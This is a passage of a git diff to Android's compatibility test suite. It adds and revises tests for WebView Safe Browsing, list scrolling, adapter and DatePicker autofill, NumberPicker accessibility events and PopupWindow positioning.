+ @Override
+ public void onReceiveValue(Boolean value) {
+ assertTrue(Looper.getMainLooper().isCurrentThread());
+ resultLatch.countDown();
+ return;
+ }
+ });
+ assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ }
+
private void savePrintedPage(final PrintDocumentAdapter adapter,
final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
@@ -2874,4 +3033,17 @@
return mOnScaleChangedCalled;
}
}
+
+ public void testGetSafeBrowsingPrivacyPolicyUrl() throws Exception {
+ if (!NullWebViewUtils.isWebViewAvailable()) {
+ return;
+ }
+
+ assertNotNull(WebView.getSafeBrowsingPrivacyPolicyUrl());
+ try {
+ new URL(WebView.getSafeBrowsingPrivacyPolicyUrl().toString());
+ } catch (MalformedURLException e) {
+ Assert.fail("The privacy policy URL should be a well-formed URL");
+ }
+ }
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java b/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
index 25f61db..b4e4d04 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
@@ -21,10 +21,8 @@
import android.webkit.WebView;
import android.webkit.WebView.WebViewTransport;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.NullWebViewUtils;
-@CddTest(requirement="3.4.1/H-0-1,A-0-1,T-0-1")
public class WebView_WebViewTransportTest
extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index c6d85c6..ec104d8 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -37,6 +37,6 @@
LOCAL_PACKAGE_NAME := CtsWidgetTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index f84c222..2eb0b86 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -14,7 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Widget test cases">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWidgetTestCases.apk" />
diff --git a/tests/tests/widget/res/layout/relative_layout_bidi.xml b/tests/tests/widget/res/layout/relative_layout_bidi.xml
new file mode 100644
index 0000000..de4ddd7
--- /dev/null
+++ b/tests/tests/widget/res/layout/relative_layout_bidi.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent" >
+
+ <RelativeLayout
+ android:id="@+id/relative_sublayout_bidi"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content">
+
+ <TextView
+ android:layout_width="100dp"
+ android:layout_height="100dp"
+ android:layout_marginStart="60dp"
+ android:layout_marginEnd="20dp" />
+ </RelativeLayout>
+
+</RelativeLayout>
diff --git a/tests/tests/widget/res/layout/tabhost_focus.xml b/tests/tests/widget/res/layout/tabhost_focus.xml
new file mode 100644
index 0000000..1229454
--- /dev/null
+++ b/tests/tests/widget/res/layout/tabhost_focus.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <Button
+ android:id="@+id/before_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Before Button"/>
+
+ <TabHost
+ android:id="@android:id/tabhost"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TabWidget
+ android:id="@android:id/tabs"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"></TabWidget>
+
+ <FrameLayout
+ android:id="@android:id/tabcontent"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <LinearLayout
+ android:id="@+id/tab1"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/tab1_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Tab 1 Content" />
+
+ </LinearLayout>
+
+ <LinearLayout
+ android:id="@+id/tab2"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <Button
+ android:id="@+id/tab2_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Tab 2 Content" />
+ </LinearLayout>
+ </FrameLayout>
+ </LinearLayout>
+ </TabHost>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 612793a..51e6102 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -854,6 +854,22 @@
expectedCheckedItems, mListView.getCheckedItemPositions());
}
+ @Test
+ @UiThreadTest
+ public void testCheckItemCount() throws Throwable {
+ final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+ final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+ android.R.layout.simple_list_item_1, items);
+ mListView.setAdapter(adapter);
+ mListView.setChoiceMode(AbsListView.CHOICE_MODE_MULTIPLE);
+ mListView.setItemChecked(0, true);
+ mListView.setItemChecked(1, true);
+ assertEquals(2, mListView.getCheckedItemCount());
+
+ mListView.setAdapter(adapter);
+ assertEquals(0, mListView.getCheckedItemCount());
+ }
+
@MediumTest
@Test
public void testCheckedItemsUnderNoneChoiceMode() throws Throwable {
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
index 8002e5b..ee6dc39 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
@@ -41,6 +41,7 @@
import android.widget.TextView;
import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
@@ -75,6 +76,11 @@
private ArrayAdapter<String> mCountriesAdapter;
private int mRowHeightPx;
+ private static class ListScrollPosition {
+ public int mFirstVisiblePosition;
+ public int mFirstViewVerticalOffset;
+ }
+
@Before
public void setup() throws Throwable {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -569,14 +575,40 @@
verifyListScrollAndEmulateFlingGesture(false);
}
+ private ListScrollPosition getCurrentScrollPosition() {
+ ListScrollPosition result = new ListScrollPosition();
+ result.mFirstVisiblePosition = mListView.getFirstVisiblePosition();
+ result.mFirstViewVerticalOffset = mListView.getChildAt(0).getTop();
+ return result;
+ }
+
@Test
public void testListFlingWithZeroVelocity() throws Throwable {
mListView.setVelocityScale(0.0f);
- final CountDownLatch flingLatch = new CountDownLatch(1);
+ final CountDownLatch flingLatch = new CountDownLatch(2);
mListView.setOnScrollListener(new ScrollIdleListListener(flingLatch));
- final int flingAmount =
- CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+
+ final ListScrollPosition[] scrollPositionAfterUpEvent =
+ new ListScrollPosition[1];
+ final EventInjectionListener eventInjectionListener =
+ new EventInjectionListener() {
+ @Override
+ public void onDownInjected(int xOnScreen, int yOnScreen) {
+ }
+
+ @Override
+ public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
+ }
+
+ @Override
+ public void onUpInjected(int xOnScreen, int yOnScreen) {
+ scrollPositionAfterUpEvent[0] = getCurrentScrollPosition();
+ flingLatch.countDown();
+ }
+ };
+ CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false,
+ eventInjectionListener);
assertTrue("Timed out while waiting for the fling to complete",
flingLatch.await(5, TimeUnit.SECONDS));
@@ -584,13 +616,12 @@
// Since our velocity scale is 0, we expect that the emulated fling gesture didn't
// result in any fling, but just a simple scroll that stopped at the ACTION_UP
// event.
- final int expectedTopOffsetAtFlingEnd = -flingAmount;
- final int expectedBottomOffsetAtFlingEnd = mListView.getHeight() - flingAmount;
- final int expectedTopPositionAtFlingEnd = expectedTopOffsetAtFlingEnd / mRowHeightPx;
- final int expectedBottomPositionAtFlingEnd = expectedBottomOffsetAtFlingEnd / mRowHeightPx;
+ final ListScrollPosition scrollPositionAtRest = getCurrentScrollPosition();
- assertEquals(expectedTopPositionAtFlingEnd, mListView.getFirstVisiblePosition());
- assertEquals(expectedBottomPositionAtFlingEnd, mListView.getLastVisiblePosition());
+ assertEquals("First visible position", scrollPositionAtRest.mFirstVisiblePosition,
+ scrollPositionAfterUpEvent[0].mFirstVisiblePosition);
+ assertEquals("First view offset", scrollPositionAtRest.mFirstViewVerticalOffset,
+ scrollPositionAfterUpEvent[0].mFirstViewVerticalOffset);
}
private static class LargeContentAdapter extends BaseAdapter {
diff --git a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
index 7595c98..4350103 100644
--- a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
@@ -29,8 +29,8 @@
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.database.DataSetObserver;
-import android.support.test.annotation.UiThreadTest;
import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
@@ -402,7 +402,20 @@
*/
@Test
public void testCreateFromResource() {
- ArrayAdapter.createFromResource(mContext, R.array.string, R.layout.simple_spinner_item);
+ final ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
+ R.array.string, R.layout.simple_spinner_item);
+ final CharSequence[] staticOptions = adapter.getAutofillOptions();
+ assertEquals(3, staticOptions.length);
+ assertEquals("Test String 1", staticOptions[0]);
+ assertEquals("Test String 2", staticOptions[1]);
+ assertEquals("Test String 3", staticOptions[2]);
+
+ // Make sure values set dynamically wins.
+ adapter.setAutofillOptions("Dynamic", "am I");
+ final CharSequence[] dynamicOptions = adapter.getAutofillOptions();
+ assertEquals(2, dynamicOptions.length);
+ assertEquals("Dynamic", dynamicOptions[0]);
+ assertEquals("am I", dynamicOptions[1]);
ArrayAdapter.createFromResource(mContext, R.array.string, INVALID_ID);
}
diff --git a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
index 42c3269..4df0c4a 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
@@ -123,6 +123,23 @@
assertFalse(baseAdapter.isEmpty());
}
+ @Test
+ public void testGetAutofillOptions() {
+ MockBaseAdapter baseAdapter = new MockBaseAdapter();
+ assertNull(baseAdapter.getAutofillOptions());
+
+ baseAdapter.setAutofillOptions("single");
+ CharSequence[] single = baseAdapter.getAutofillOptions();
+ assertEquals(1, single.length);
+ assertEquals("single", single[0]);
+
+ baseAdapter.setAutofillOptions("mult1", "mult2");
+ CharSequence[] multiple = baseAdapter.getAutofillOptions();
+ assertEquals(2, multiple.length);
+ assertEquals("mult1", multiple[0]);
+ assertEquals("mult2", multiple[1]);
+ }
+
private static class MockBaseAdapter extends BaseAdapter {
private int mCount = 0;
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
index a45ac2b..b3c10e3 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.any;
import static org.mockito.Mockito.anyInt;
@@ -38,6 +39,7 @@
import android.support.test.runner.AndroidJUnit4;
import android.util.SparseArray;
import android.view.View;
+import android.view.autofill.AutofillValue;
import android.widget.DatePicker;
import org.junit.Before;
@@ -47,6 +49,7 @@
import java.util.Calendar;
import java.util.GregorianCalendar;
+import java.util.concurrent.atomic.AtomicInteger;
/**
* Test {@link DatePicker}.
@@ -88,13 +91,22 @@
@UiThreadTest
@Test
public void testSetEnabled() {
- assertTrue(mDatePickerCalendarMode.isEnabled());
+ verifySetEnabled(mDatePickerSpinnerMode);
+ verifySetEnabled(mDatePickerCalendarMode);
+ }
- mDatePickerCalendarMode.setEnabled(false);
- assertFalse(mDatePickerCalendarMode.isEnabled());
+ private void verifySetEnabled(DatePicker datePicker) {
+ assertTrue(datePicker.isEnabled());
- mDatePickerCalendarMode.setEnabled(true);
- assertTrue(mDatePickerCalendarMode.isEnabled());
+ datePicker.setEnabled(false);
+ assertFalse(datePicker.isEnabled());
+ assertNull(datePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_NONE, datePicker.getAutofillType());
+
+ datePicker.setEnabled(true);
+ assertTrue(datePicker.isEnabled());
+ assertNotNull(datePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_DATE, datePicker.getAutofillType());
}
private void verifyInit(DatePicker datePicker) {
@@ -102,9 +114,7 @@
mock(DatePicker.OnDateChangedListener.class);
datePicker.init(2000, 10, 15, mockDateChangeListener);
- assertEquals(2000, datePicker.getYear());
- assertEquals(10, datePicker.getMonth());
- assertEquals(15, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2000, 10, 15);
verifyZeroInteractions(mockDateChangeListener);
}
@@ -121,16 +131,12 @@
mock(DatePicker.OnDateChangedListener.class);
datePicker.init(2000, 10, 15, mockDateChangeListener);
- assertEquals(2000, datePicker.getYear());
- assertEquals(10, datePicker.getMonth());
- assertEquals(15, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2000, 10, 15);
verify(mockDateChangeListener, never()).onDateChanged(any(DatePicker.class), anyInt(),
anyInt(), anyInt());
datePicker.updateDate(1989, 9, 19);
- assertEquals(1989, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(19, datePicker.getDayOfMonth());
+ assertValues(datePicker, 1989, 9, 19);
verify(mockDateChangeListener, times(1)).onDateChanged(datePicker, 1989, 9, 19);
verifyNoMoreInteractions(mockDateChangeListener);
@@ -151,17 +157,13 @@
datePicker.init(2000, 10, 15, mockDateChangeListener1);
datePicker.updateDate(1989, 9, 19);
- assertEquals(1989, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(19, datePicker.getDayOfMonth());
+ assertValues(datePicker, 1989, 9, 19);
verify(mockDateChangeListener1, times(1)).onDateChanged(datePicker, 1989, 9, 19);
verify(mockDateChangeListener2, times(0)).onDateChanged(datePicker, 1989, 9, 19);
datePicker.setOnDateChangedListener(mockDateChangeListener2);
datePicker.updateDate(2000, 10, 15);
- assertEquals(2000, datePicker.getYear());
- assertEquals(10, datePicker.getMonth());
- assertEquals(15, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2000, 10, 15);
verify(mockDateChangeListener1, times(0)).onDateChanged(datePicker, 2000, 10, 15);
verify(mockDateChangeListener2, times(1)).onDateChanged(datePicker, 2000, 10, 15);
}
@@ -175,9 +177,7 @@
private void verifyUpdateDate(DatePicker datePicker) {
datePicker.updateDate(1989, 9, 19);
- assertEquals(1989, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(19, datePicker.getDayOfMonth());
+ assertValues(datePicker, 1989, 9, 19);
}
@UiThreadTest
@@ -295,12 +295,64 @@
datePicker.setId(99);
assertFalse(datePicker.hasCalledOnRestoreInstanceState());
datePicker.dispatchRestoreInstanceState(container);
- assertEquals(2008, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(10, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2008, 9, 10);
assertTrue(datePicker.hasCalledOnRestoreInstanceState());
}
+ @UiThreadTest
+ @Test
+ public void testAutofill() {
+ verifyAutofill(mDatePickerSpinnerMode);
+ verifyAutofill(mDatePickerCalendarMode);
+ }
+
+ private void verifyAutofill(DatePicker datePicker) {
+ datePicker.setEnabled(true);
+
+ final AtomicInteger numberOfListenerCalls = new AtomicInteger();
+ datePicker.setOnDateChangedListener(
+ (v, y, m, d) -> numberOfListenerCalls.incrementAndGet());
+
+ final Calendar calendar = new GregorianCalendar();
+ calendar.set(2012, Calendar.DECEMBER, 21);
+
+ final AutofillValue autofilledValue = AutofillValue.forDate(calendar.getTimeInMillis());
+ datePicker.autofill(autofilledValue);
+ assertEquals(autofilledValue, datePicker.getAutofillValue());
+ assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+ assertEquals(1, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is null.
+ numberOfListenerCalls.set(0);
+ datePicker.autofill((AutofillValue) null);
+ assertEquals(autofilledValue, datePicker.getAutofillValue());
+ assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+ assertEquals(datePicker.getAutofillValue(), autofilledValue);
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is not a date.
+ numberOfListenerCalls.set(0);
+ datePicker.autofill(AutofillValue.forText("Y U NO IGNORE ME?"));
+ assertEquals(autofilledValue, datePicker.getAutofillValue());
+ assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+ assertEquals(datePicker.getAutofillValue(), autofilledValue);
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure getAutofillValue() is reset when value is manually filled.
+ datePicker.autofill(autofilledValue); // 2012-12-21
+ datePicker.updateDate(2000, Calendar.JANUARY, 1);
+ calendar.setTimeInMillis(datePicker.getAutofillValue().getDateValue());
+ assertEquals(2000, calendar.get(Calendar.YEAR));
+ assertEquals(Calendar.JANUARY, calendar.get(Calendar.MONTH));
+ assertEquals(1, calendar.get(Calendar.DAY_OF_MONTH));
+ }
+
+ private void assertValues(DatePicker datePicker, int year, int month, int dayOfMonth) {
+ assertEquals(year, datePicker.getYear());
+ assertEquals(month, datePicker.getMonth());
+ assertEquals(dayOfMonth, datePicker.getDayOfMonth());
+ }
+
private class MockDatePicker extends DatePicker {
private boolean mCalledOnSaveInstanceState = false;
private boolean mCalledOnRestoreInstanceState = false;
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 9785b1f..9cb9903 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -23,7 +23,9 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
+import android.app.Instrumentation;
import android.content.Context;
+import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
@@ -51,6 +53,7 @@
private EditText mEditText1;
private EditText mEditText2;
private AttributeSet mAttributeSet;
+ private Instrumentation mInstrumentation;
@Rule
public ActivityTestRule<EditTextCtsActivity> mActivityRule =
@@ -58,6 +61,7 @@
@Before
public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
mEditText1 = (EditText) mActivity.findViewById(R.id.edittext_simple1);
mEditText2 = (EditText) mActivity.findViewById(R.id.edittext_simple2);
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 2a7e899..6640cc4 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -28,6 +28,7 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import android.app.Instrumentation;
+import android.app.UiAutomation;
import android.content.res.Configuration;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
@@ -35,6 +36,7 @@
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
+import android.view.accessibility.AccessibilityEvent;
import android.widget.NumberPicker;
import com.android.compatibility.common.util.CtsTouchUtils;
@@ -51,8 +53,10 @@
private static final String[] NUMBER_NAMES3 = {"One", "Two", "Three"};
private static final String[] NUMBER_NAMES_ALT3 = {"Three", "Four", "Five"};
private static final String[] NUMBER_NAMES5 = {"One", "Two", "Three", "Four", "Five"};
+ private static final long TIMEOUT_ACCESSIBILITY_EVENT = 5 * 1000;
private Instrumentation mInstrumentation;
+ private UiAutomation mUiAutomation;
private NumberPickerCtsActivity mActivity;
private NumberPicker mNumberPicker;
@@ -63,6 +67,7 @@
@Before
public void setup() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mUiAutomation = mInstrumentation.getUiAutomation();
mActivity = mActivityRule.getActivity();
mNumberPicker = (NumberPicker) mActivity.findViewById(R.id.number_picker);
}
@@ -261,32 +266,43 @@
mNumberPicker.getDisplayedValueForCurrentSelection()));
}
- @UiThreadTest
@Test
- public void testAccessValue() {
- mNumberPicker.setMinValue(20);
- mNumberPicker.setMaxValue(22);
- mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
-
+ public void testAccessValue() throws Throwable {
final NumberPicker.OnValueChangeListener mockValueChangeListener =
mock(NumberPicker.OnValueChangeListener.class);
- mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
- mNumberPicker.setValue(21);
- assertEquals(21, mNumberPicker.getValue());
+ mInstrumentation.runOnMainSync(() -> {
+ mNumberPicker.setMinValue(20);
+ mNumberPicker.setMaxValue(22);
+ mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
- mNumberPicker.setValue(20);
- assertEquals(20, mNumberPicker.getValue());
+ mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
+ });
- mNumberPicker.setValue(22);
- assertEquals(22, mNumberPicker.getValue());
+ mInstrumentation.runOnMainSync(() -> {
+ mNumberPicker.setValue(21);
+ assertEquals(21, mNumberPicker.getValue());
+ });
- // Check trying to set value out of min/max range
- mNumberPicker.setValue(10);
- assertEquals(20, mNumberPicker.getValue());
+ mUiAutomation.executeAndWaitForEvent(() ->
+ mInstrumentation.runOnMainSync(() -> mNumberPicker.setValue(20)),
+ (AccessibilityEvent event) ->
+ event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
+ TIMEOUT_ACCESSIBILITY_EVENT);
- mNumberPicker.setValue(100);
- assertEquals(22, mNumberPicker.getValue());
+ mInstrumentation.runOnMainSync(() -> {
+ assertEquals(20, mNumberPicker.getValue());
+
+ mNumberPicker.setValue(22);
+ assertEquals(22, mNumberPicker.getValue());
+
+ // Check trying to set value out of min/max range
+ mNumberPicker.setValue(10);
+ assertEquals(20, mNumberPicker.getValue());
+
+ mNumberPicker.setValue(100);
+ assertEquals(22, mNumberPicker.getValue());
+ });
// Since all changes to value are via API calls, we should have no interactions /
// callbacks on our listener.
@@ -370,11 +386,15 @@
final int[] numberPickerLocationOnScreen = new int[2];
mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
- CtsTouchUtils.emulateDragGesture(mInstrumentation,
- numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
- numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
- 0,
- - (mNumberPicker.getHeight() - 2));
+ mUiAutomation.executeAndWaitForEvent(() ->
+ CtsTouchUtils.emulateDragGesture(mInstrumentation,
+ numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+ numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
+ 0,
+ -(mNumberPicker.getHeight() - 2)),
+ (AccessibilityEvent event) ->
+ event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED,
+ TIMEOUT_ACCESSIBILITY_EVENT);
// At this point we expect that the drag-up gesture has selected the value
// that was "below" the previously selected one, and that our value change listener
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
old mode 100644
new mode 100755
index a9b5a13..2c483d7
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -32,14 +32,17 @@
import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
import android.content.res.Configuration;
import android.graphics.Color;
+import android.graphics.Point;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.os.SystemClock;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.FlakyTest;
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
@@ -47,6 +50,7 @@
import android.transition.Transition.TransitionListener;
import android.transition.TransitionValues;
import android.util.AttributeSet;
+import android.util.DisplayMetrics;
import android.view.Display;
import android.view.Gravity;
import android.view.MotionEvent;
@@ -54,6 +58,7 @@
import android.view.View.OnTouchListener;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
+import android.view.WindowInsets;
import android.view.WindowManager;
import android.widget.ImageView;
import android.widget.PopupWindow;
@@ -67,6 +72,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+@FlakyTest
@SmallTest
@RunWith(AndroidJUnit4.class)
public class PopupWindowTest {
@@ -74,6 +80,7 @@
private static final int CONTENT_SIZE_DP = 30;
private Instrumentation mInstrumentation;
+ private Context mContext;
private PopupWindowCtsActivity mActivity;
private PopupWindow mPopupWindow;
private TextView mTextView;
@@ -85,6 +92,7 @@
@Before
public void setup() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = InstrumentationRegistry.getContext();
mActivity = mActivityRule.getActivity();
}
@@ -636,9 +644,9 @@
assertFalse(mPopupWindow.isAttachedInDecor());
final View upperAnchor = mActivity.findViewById(R.id.anchor_upper);
-
- final int xOff = 10;
- final int yOff = 21;
+ final WindowInsets windowInsets = upperAnchor.getRootWindowInsets();
+ final int xOff = windowInsets.getSystemWindowInsetLeft() + 10;
+ final int yOff = windowInsets.getSystemWindowInsetTop() + 21;
assertFalse(mPopupWindow.isShowing());
mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
assertEquals(0, popupContentViewInWindowXY[0]);
@@ -655,10 +663,8 @@
assertTrue(popupContentViewInWindowXY[0] >= 0);
assertTrue(popupContentViewInWindowXY[1] >= 0);
- assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff,
- popupContentViewOnScreenXY[0]);
- assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff,
- popupContentViewOnScreenXY[1]);
+ assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
+ assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
dismissPopup();
}
@@ -940,6 +946,7 @@
int[] sndXY = new int[2];
int[] viewInWindowXY = new int[2];
Rect containingRect = new Rect();
+ final Point popupPos = new Point();
mActivityRule.runOnUiThread(() -> {
mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
@@ -968,8 +975,11 @@
assertEquals(80, mPopupWindow.getWidth());
assertEquals(80, mPopupWindow.getHeight());
+ final WindowInsets windowInsets = containerView.getRootWindowInsets();
+ popupPos.set(windowInsets.getStableInsetLeft() + 20, windowInsets.getStableInsetTop() + 50);
+
// update if it is not shown
- mActivityRule.runOnUiThread(() -> mPopupWindow.update(20, 50, 50, 50));
+ mActivityRule.runOnUiThread(() -> mPopupWindow.update(popupPos.x, popupPos.y, 50, 50));
mInstrumentation.waitForIdleSync();
assertTrue(mPopupWindow.isShowing());
@@ -977,11 +987,14 @@
assertEquals(50, mPopupWindow.getHeight());
mPopupWindow.getContentView().getLocationOnScreen(fstXY);
- assertEquals(containingRect.left + viewInWindowXY[0] + 20, fstXY[0]);
- assertEquals(containingRect.top + viewInWindowXY[1] + 50, fstXY[1]);
+ assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], fstXY[0]);
+ assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], fstXY[1]);
+
+ popupPos.set(windowInsets.getStableInsetLeft() + 4, windowInsets.getStableInsetTop());
// ignore if width or height is -1
